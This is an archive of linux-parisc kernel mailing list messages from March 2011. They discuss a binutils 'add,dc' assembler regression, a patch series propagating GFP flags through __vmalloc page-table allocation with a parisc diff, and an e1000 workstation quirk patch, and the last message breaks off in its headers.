In-Reply-To: <alpine.SOC.1.00.1103141024040.3640@math.ut.ee> from "Meelis Roos" at Mar 14, 2011 10:29:03 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3501
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3501>

> While trying to compile 2.6.38-rc8-00065 on hppa64 with new binutils 
> 2.21.0.20110302 I hit a problem with inline asm in 64-bit variant of 
> csum_ipv6_magic() with first network driver that used it:
> 
>   CC [M]  drivers/net/atl1c/atl1c_main.o                    
> drivers/net/atl1c/atl1c_main.c:2543: warning: 'atl1c_resume' defined but not used
> {standard input}: Assembler messages:
> {standard input}:4996: Error: Invalid Add Condition: dc
> {standard input}:4997: Error: Invalid Add Condition: dc
> {standard input}:4998: Error: Invalid Add Condition: dc
> {standard input}:4999: Error: Invalid Add Condition: dc

Yuck!  I hadn't realized that the change that caused this was backported
to 2.21.  The change fixed something that wasn't really a problem and
broke dc and db.

This is fixed on binutils head.  Can you use it?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Prasad Joshi <prasadjoshi124@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC][PATCH v2 12/23] (parisc) __vmalloc: add gfp flags variant of
 pte and pmd allocation
Date: Mon, 14 Mar 2011 17:50:49 +0000
Lines: 75
Approved: news@gmane.org
Message-ID: <AANLkTin94oVyZ0-6sm5aRi-Xb+2tsNXQ2J+DbyDOMqZB__11774.2446637296$1300125062$gmane$org@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1300125062 18175 80.91.229.12 (14 Mar 2011 17:51:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Mar 2011 17:51:02 +0000 (UTC)
To: Prasad Joshi <prasadjoshi124@gmail.com>,
	Anand Mitra <mitra@kqinfotech.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-mm@kvack.org,
	linux-arch@v
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 14 18:50:55 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PzBuw-00007A-Sf
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Mar 2011 18:50:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752348Ab1CNRuv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Mar 2011 13:50:51 -0400
Original-Received: from mail-qy0-f181.google.com ([209.85.216.181]:61116 "EHLO
	mail-qy0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751249Ab1CNRuu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Mar 2011 13:50:50 -0400
Original-Received: by qyg14 with SMTP id 14so4588027qyg.19
        for <multiple recipients>; Mon, 14 Mar 2011 10:50:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:date:message-id:subject:from:to
         :content-type;
        bh=/MCZrvCIx3U7hq23rP7jhnCHF1OJsMocEELta/xD67o=;
        b=N7OV6mUdDGyeetAVuNM/M7UMLVXfjhxsSTV4x6fZvQrBqFIW45op4pQbd2s3VyIOlA
         iORhT08PCf/cYp/iMpA4wxz35cMdr46JLn93bDnEeVT6mmyxwIJiLEtsel+XI57E1rbE
         wC+rmRQYNdmV3q3LqFZFCgWwtbm8ALxldOuj0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type;
        b=mXss1wApLGpnZ4hjVVxGLw10rMPYPw2vz4D5XI2R5leQRPlMDU5sFyhzO/tGMCOq09
         ZpLutngGzuzTG+e1h1ujMEoUKinrJVIpclMznt5yqGUq3n4A42LuEfIkmV426UBFY/eB
         J0dyLz+/3kL7YzZvLQG9MxxctUm0bSjSaEviw=
Original-Received: by 10.229.48.84 with SMTP id q20mr10320215qcf.131.1300125049837;
 Mon, 14 Mar 2011 10:50:49 -0700 (PDT)
Original-Received: by 10.229.99.68 with HTTP; Mon, 14 Mar 2011 10:50:49 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3502
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3502>

__vmalloc: propagating GFP allocation flag.

- adds functions to allow caller to pass the GFP flag for memory allocation
- helps in fixing the Bug 30702 (__vmalloc(GFP_NOFS) can callback
		  file system evict_inode).

Signed-off-by: Anand Mitra <mitra@kqinfotech.com>
Signed-off-by: Prasad Joshi <prasadjoshi124@gmail.com>
---
Chnagelog:
arch/parisc/include/asm/pgalloc.h |   21 ++++++++++++++++-----
1 files changed, 16 insertions(+), 5 deletions(-)
---
diff --git a/arch/parisc/include/asm/pgalloc.h
b/arch/parisc/include/asm/pgalloc.h
index fc987a1..0284a43 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
@@ -61,15 +61,20 @@ static inline void pgd_populate(struct mm_struct
*mm, pgd_t *pgd, pmd_t *pmd)
 		        (__u32)(__pa((unsigned long)pmd) >> PxD_VALUE_SHIFT));
 }

-static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
+static inline pmd_t *
+__pmd_alloc_one(struct mm_struct *mm, unsigned long address, gfp_t gfp_mask)
 {
-	pmd_t *pmd = (pmd_t *)__get_free_pages(GFP_KERNEL|__GFP_REPEAT,
-					       PMD_ORDER);
+	pmd_t *pmd = (pmd_t *)__get_free_pages(gfp_mask, PMD_ORDER);
 	if (pmd)
 		memset(pmd, 0, PAGE_SIZE<<PMD_ORDER);
 	return pmd;
 }

+static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
+{
+	return __pmd_alloc_one(mm, address, GFP_KERNEL | __GFP_REPEAT);
+}
+
 static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 {
 #ifdef CONFIG_64BIT
@@ -90,6 +95,7 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
  * inside the pgd, so has no extra memory associated with it.
  */

+#define __pmd_alloc_one(mm, addr, mask)		({ BUG(); ((pmd_t *)2); })
 #define pmd_alloc_one(mm, addr)		({ BUG(); ((pmd_t *)2); })
 #define pmd_free(mm, x)			do { } while (0)
 #define pgd_populate(mm, pmd, pte)	BUG()
@@ -127,10 +133,15 @@ pte_alloc_one(struct mm_struct *mm, unsigned long address)
 }

 static inline pte_t *
+__pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr,
gfp_t gfp_mask)
+{
+	return (pte_t *)__get_free_page(gfp_mask | __GFP_ZERO);
+}
+
+static inline pte_t *
 pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 {
-	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_REPEAT|__GFP_ZERO);
-	return pte;
+	return __pte_alloc_one_kernel(mm, addr, GFP_KERNEL | __GFP_REPEAT);
 }

 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: "add,dc" problem with new binutils in csum_ipv6_magic asm
Date: Mon, 14 Mar 2011 18:32:52 -0400
Organization: nrc.ca
Lines: 29
Approved: news@gmane.org
Message-ID: <20110314223252.GA28338@hiauly1.hia.nrc.ca>
References: <alpine.SOC.1.00.1103141024040.3640@math.ut.ee>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1300141982 22538 80.91.229.12 (14 Mar 2011 22:33:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 Mar 2011 22:33:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 14 23:32:57 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PzGJs-0004Ju-FG
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Mar 2011 23:32:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757386Ab1CNWcz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Mar 2011 18:32:55 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3611 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757361Ab1CNWcz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Mar 2011 18:32:55 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8BA324DF4; Mon, 14 Mar 2011 18:32:53 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <alpine.SOC.1.00.1103141024040.3640@math.ut.ee>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3503
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3503>

On Mon, 14 Mar 2011, Meelis Roos wrote:

> While trying to compile 2.6.38-rc8-00065 on hppa64 with new binutils 
> 2.21.0.20110302 I hit a problem with inline asm in 64-bit variant of 
> csum_ipv6_magic() with first network driver that used it:
> 
>   CC [M]  drivers/net/atl1c/atl1c_main.o                    
> drivers/net/atl1c/atl1c_main.c:2543: warning: 'atl1c_resume' defined but not used
> {standard input}: Assembler messages:
> {standard input}:4996: Error: Invalid Add Condition: dc
> {standard input}:4997: Error: Invalid Add Condition: dc
> {standard input}:4998: Error: Invalid Add Condition: dc
> {standard input}:4999: Error: Invalid Add Condition: dc
> make[3]: *** [drivers/net/atl1c/atl1c_main.o] Error 1
> 
> arch/parisc/include/asm/checksum.h has the corresponding inline asm - it 
> seems that add,dc is not accepted by the new binutils.

I backported the fix from binutils mainline.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.drivers.e1000.devel
Subject: Re: [E1000-devel] [PATCH] e1000: Allow the driver to be used on PA RISC C8000 workstation
Date: Fri, 18 Mar 2011 17:39:57 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <1538517.jd8kKEpd3f@donald.sf-tec.de>
References: <A78C6259B11833419567082E2DC0C25601D8A9CA5E@orsmsx508.amr.corp.intel.com> <20110228144006.2adb4fdd@borg.bxl.tuxicoman.be> <AANLkTinga9dW9+4TQzE+f6Tt4kAEiXaprZjv+U+-a5Mq@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart14791965.uzAOj4C0tq"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: quoted-printable
X-Trace: dough.gmane.org 1300466416 15123 80.91.229.12 (18 Mar 2011 16:40:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Mar 2011 16:40:16 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	"Kirsher, Jeffrey T" <jeffrey.t.kirsher@intel.com>,
	"kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"e1000-devel@lists.sourceforge.net" 
	<e1000-devel@lists.sourceforge.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"mikulas@artax.karlin.mff.cuni.cz" <mikulas@artax.karlin.mff.cuni.cz>
To: Jesse Brandeburg <jesse.brandeburg@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 18 17:40:11 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q0cig-0000fi-QR
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Mar 2011 17:40:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756902Ab1CRQkJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Mar 2011 12:40:09 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:54556 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756842Ab1CRQkJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Mar 2011 12:40:09 -0400
Original-Received: (qmail 13070 invoked from network); 18 Mar 2011 16:40:04 -0000
Original-Received: from mnhm-4d012d1b.pool.mediaways.net ([::ffff:77.1.45.27] HELO donald.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <jesse.brandeburg@gmail.com>; Fri, 18 Mar 2011 16:40:04 +0000
User-Agent: KMail/4.6 beta4 (Linux/2.6.37-12-desktop; KDE/4.6.1; i686; ; )
In-Reply-To: <AANLkTinga9dW9+4TQzE+f6Tt4kAEiXaprZjv+U+-a5Mq@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3504 gmane.linux.drivers.e1000.devel:8140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3504>


--nextPart14791965.uzAOj4C0tq
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="ISO-8859-1"

Am Mittwoch, 2. M=E4rz 2011, 21:19:24 schrieb Jesse Brandeburg:
> On Mon, Feb 28, 2011 at 5:40 AM, Guy Martin <gmsoft@tuxicoman.be> wro=
te:
> > Hi Jeff,
> >=20
> > Any luck getting this into mainline ?
>=20
> Hi Guy, sorry for the delay,
> We haven't been able to get our contacts in HP to give us a decent
> response so far, we are following up with them to see whats up.  We
> have not lost the patch and are still tracking it internally.
>=20
> Give us a couple more weeks if that is okay and we should be able to
> settle this by then.

Hi all,

I wonder what exactly you are waiting for? This is a sanity check that =
we=20
disable, so no working systems could get broken by this. And every sing=
le=20
C8000 seems to be affected by this and is working fine with that patch.=
 So maybe=20
people at HP might have a clue _why_ this is screwed, but until then I =
don't=20
see any point in waiting.

So please just add my tested-by and push this upstream soon. Since this=
 is=20
basically a hardware quirk I would like to get this into stable also so=
 we may=20
run vanilla 2.6.38.1 or something like that on C8000.

Tested-by: Rolf Eike Beer <eike-kernel@sf-tec.de>

Eike
--nextPart14791965.uzAOj4C0tq
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk2DiuMACgkQXKSJPmm5/E6KrgCgjcD4MOjbeKcyxK0vNxGPJDbV
jtkAnjTl7bKsvdtQd/hOxFLPnEUafWIe
=50sL
-----END PGP SIGNATURE-----

--nextPart14791965.uzAOj4C0tq--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Prasad Joshi <prasadjoshi124@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.sh.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.uclinux.microblaze,gmane.linux.ports.ia64,gmane.linux.ports.alpha
Subject: [RFC][PATCH v3 00/22] __vmalloc: Propagating GFP allocation flag
 inside __vmalloc()
Date: Fri, 18 Mar 2011 19:41:35 +0000
Lines: 67
Approved: news@gmane.org
Message-ID: <20110318194135.GA4746@prasad-kvm>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1300477279 17061 80.91.229.12 (18 Mar 2011 19:41:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Mar 2011 19:41:19 +0000 (UTC)
Cc: chris@zankel.net, x86@kernel.org, jdike@addtoit.com, tj@kernel.org,
	cmetcalf@tilera.com, linux-sh@vger.kernel.org,
	liqin.chen@sunplusct.com, lennox.wu@gmail.com,
	schwidefsky@de.ibm.com, heiko.carstens@de.ibm.com,
	linux390@de.ibm.com, benh@kernel.crashing.org, paulus@samba.org,
	linuxppc-dev@lists.ozlabs.org, kyle@mcmartin.ca, deller@gmx.de,
	jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	linux-am33-list@redhat.com, ralf@linux-mips.org,
	linux-mips@linux-mips.org, monstr@monstr.eu,
	microblaze-uclinux@itee.uq.edu.au, geert@linux-m68k.org,
	zippel@linux-m68k.org, sammy@sammy.net,
	linux-m68k@lists.linux-m68k.org, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, tony.luck@intel.com,
	fenghua.yu@intel.com, linux-ia64@vger.kernel.org, starvik@axis.com,
	jesper.nilsson@axis.com, linux-cris-kernel@axis.com,
	hans-christ
To: akpm@linux-foundation.org, linux-arch@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mm@kvack.org,
	prasadjoshi124@gmail.com, mitra@kqinfotech.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 18 20:41:05 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q0fXl-0003L5-Ay
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Mar 2011 20:41:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757369Ab1CRTlD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Mar 2011 15:41:03 -0400
Original-Received: from mail-ww0-f44.google.com ([74.125.82.44]:49977 "EHLO
	mail-ww0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757290Ab1CRTlA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Mar 2011 15:41:00 -0400
Original-Received: by wwa36 with SMTP id 36so5286078wwa.1
        for <multiple recipients>; Fri, 18 Mar 2011 12:40:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:date:from:to:cc:subject:message-id:mime-version
         :content-type:content-disposition:user-agent;
        bh=t+EZQ33GnU0mzuiO2W6Fak62ci1GZvb1nEqpNjyR4C8=;
        b=BsefUBUA7uCzUFxH56D7gAfHtRBlicXZFP6WDLFaEkGkQRomcyHDB88OKORvtrWKk3
         Jb/NcinvAhnThdAphtKS3gbKF0EZ2QcBhNJETOFAGYRR6KjJtnYelPcwF6tqtzrFdYXI
         QXAoneRSe6iCcDi3LqrJEKbL/r0KrDfXI+VAQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:mime-version:content-type
         :content-disposition:user-agent;
        b=qzRN+L6pOvtAjNWgqYZfWCboWoKn+Qbly2pxZq9fNZ2lpjQLWAGMj/cF3r6zSIy7ba
         zYzs9EcTlDm92LELYYb/WYCQ8nCSMJHo4HW/HelsPx56uGzkGU83J3g+lWhhM4f0FaR1
         5eDNJSM+FNUe8niVViDh+aWPFackzG+YvQivs=
Original-Received: by 10.227.207.21 with SMTP id fw21mr1573121wbb.138.1300477258063;
        Fri, 18 Mar 2011 12:40:58 -0700 (PDT)
Original-Received: from prasad-kvm (pineapple.rdg.ac.uk [134.225.206.123])
        by mx.google.com with ESMTPS id u9sm1514591wbg.51.2011.03.18.12.40.54
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Mar 2011 12:40:56 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3505 gmane.linux.kernel.cross-arch:9431 gmane.linux.kernel:1115073 gmane.linux.kernel.mm:60134 gmane.linux.ports.sh.devel:10389 gmane.linux.ports.ppc64.devel:73148 gmane.linux.ports.mips.general:30499 gmane.linux.uclinux.microblaze:11523 gmane.linux.ports.ia64:21581 gmane.linux.ports.alpha:1374
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3505>

A filesystem might run into a problem while calling __vmalloc(GFP_NOFS)
inside a lock.

It is expected than __vmalloc when called with GFP_NOFS should not
callback the filesystem code even incase of the increased memory
pressure. But the problem is that even if we pass this flag, __vmalloc
itself allocates memory with GFP_KERNEL.

Using GFP_KERNEL allocations may go into the memory reclaim path and try
to free memory by calling file system evict_inode function. Which might
lead into deadlock.

For further details
http://marc.info/?l=linux-mm&m=128942194520631&w=4
https://bugzilla.kernel.org/show_bug.cgi?id=30702

The patch passes the gfp allocation flag all the way down to those
allocating functions.

 arch/arm/include/asm/pgalloc.h           |   11 +++++-
 arch/avr32/include/asm/pgalloc.h         |    8 ++++-
 arch/cris/include/asm/pgalloc.h          |   10 ++++-
 arch/frv/include/asm/pgalloc.h           |    3 ++
 arch/frv/include/asm/pgtable.h           |    1 +
 arch/frv/mm/pgalloc.c                    |    9 ++++-
 arch/ia64/include/asm/pgalloc.h          |   24 +++++++++++--
 arch/m32r/include/asm/pgalloc.h          |   11 ++++--
 arch/m68k/include/asm/motorola_pgalloc.h |   20 +++++++++--
 arch/m68k/include/asm/sun3_pgalloc.h     |   14 ++++++--
 arch/m68k/mm/memory.c                    |    9 ++++-
 arch/microblaze/include/asm/pgalloc.h    |    3 ++
 arch/microblaze/mm/pgtable.c             |   13 +++++--
 arch/mips/include/asm/pgalloc.h          |   22 ++++++++----
 arch/mn10300/include/asm/pgalloc.h       |    2 +
 arch/mn10300/mm/pgtable.c                |   10 ++++-
 arch/parisc/include/asm/pgalloc.h        |   21 ++++++++---
 arch/powerpc/include/asm/pgalloc-32.h    |    2 +
 arch/powerpc/include/asm/pgalloc-64.h    |   27 +++++++++++---
 arch/powerpc/mm/pgtable_32.c             |   10 ++++-
 arch/s390/include/asm/pgalloc.h          |   30 +++++++++++++---
 arch/s390/mm/pgtable.c                   |   22 +++++++++---
 arch/score/include/asm/pgalloc.h         |   13 ++++---
 arch/sh/include/asm/pgalloc.h            |    8 ++++-
 arch/sh/mm/pgtable.c                     |    8 ++++-
 arch/sparc/include/asm/pgalloc_32.h      |    5 +++
 arch/sparc/include/asm/pgalloc_64.h      |   17 ++++++++-
 arch/tile/include/asm/pgalloc.h          |   13 ++++++-
 arch/tile/mm/pgtable.c                   |   10 ++++-
 arch/um/include/asm/pgalloc.h            |    1 +
 arch/um/kernel/mem.c                     |   21 ++++++++---
 arch/x86/include/asm/pgalloc.h           |   17 ++++++++-
 arch/x86/mm/pgtable.c                    |    8 ++++-
 arch/xtensa/include/asm/pgalloc.h        |    9 ++++-
 arch/xtensa/mm/pgtable.c                 |   11 +++++-
 include/asm-generic/4level-fixup.h       |    8 +++-
 include/asm-generic/pgtable-nopmd.h      |    3 +-
 include/asm-generic/pgtable-nopud.h      |    1 +
 include/linux/mm.h                       |   40 ++++++++++++++++-----
 mm/memory.c                              |   14 ++++---
 mm/vmalloc.c                             |   57 ++++++++++++++++++++----------
 41 files changed, 427 insertions(+), 119 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Prasad Joshi <prasadjoshi124@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [RFC][PATCH v3 11/22] mm, parisc: add gfp flags variant of pmd
 and pte allocations
Date: Fri, 18 Mar 2011 19:59:26 +0000
Lines: 87
Approved: news@gmane.org
Message-ID: <20110318195926.GL4746@prasad-kvm>
References: <20110318194341.GB4746@prasad-kvm>
 <20110318194600.GC4746@prasad-kvm>
 <20110318194740.GD4746@prasad-kvm>
 <20110318194929.GE4746@prasad-kvm>
 <20110318195035.GF4746@prasad-kvm>
 <20110318195141.GG4746@prasad-kvm>
 <20110318195307.GH4746@prasad-kvm>
 <20110318195507.GI4746@prasad-kvm>
 <20110318195643.GJ4746@prasad-kvm>
 <20110318195754.GK4746@prasad-kvm>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1300478336 23298 80.91.229.12 (18 Mar 2011 19:58:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Mar 2011 19:58:56 +0000 (UTC)
To: kyle@mcmartin.ca, deller@gmx.de, jejb@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	prasadjoshi124@gmail.com, mitra@kqinfotech.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 18 20:58:50 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q0fow-0003vD-0f
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Mar 2011 20:58:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756802Ab1CRT6t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Mar 2011 15:58:49 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:46200 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756760Ab1CRT6s (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Mar 2011 15:58:48 -0400
Original-Received: by wya21 with SMTP id 21so4191489wya.19
        for <multiple recipients>; Fri, 18 Mar 2011 12:58:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:date:from:to:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=VjnYIRbTJENvYxsmVYwFG+mx/ES7oSYls1hyzp1O5cA=;
        b=bsaBe2ASNX1CsEtcd3NzPcbwg3EjugS92/6tbqkMZfKv6Bdfw7swSwde3qa6mg2BAI
